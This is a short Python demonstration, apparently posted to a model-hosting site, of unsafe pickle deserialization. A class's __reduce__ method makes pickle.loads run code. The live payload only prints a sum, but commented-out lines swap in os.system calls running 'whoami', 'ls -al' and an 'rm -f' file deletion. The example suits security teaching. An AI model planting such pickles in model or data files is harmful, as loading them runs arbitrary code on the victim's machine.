testfirst / test-badmoh-pick.py
badmoh's picture
Upload test-badmoh-pick.py
3db6dda
raw
history blame
1.03 kB
############################################
#example of unsafe de-serialization
import pickle
import os
#1. creating a Evil class which has our malicious payload command (‘whoami’)
class EvilPickle(object):
#def __reduce__(self):
#exec('print("Hello Exec")')
#return os.system, ('ls',)
#return (os.system, ('whoami', ))
def __reduce__(self):
#cmd = ('rm -f h://IDrive/pickle-tests/ex1/test.txt')
#cmd = ('ls -al')
#cmd = (eval('print("Hello Exec")'))
#return os.system, (cmd,)
return exec, ('a = 7\nb = 10\nprint("Sum = ", a + b)', )
#2. serializing the malicious class
pickle_data = pickle.dumps(EvilPickle())
#storing the serialized output into a file in current directory
with open("backup.data", "wb") as file:
file.write(pickle_data)
#3. reading the malicious serialized data and de-serializing it
with open("backup.data", "rb") as file:
pickle_data = file.read()
my_data = pickle.loads(pickle_data)
###########################################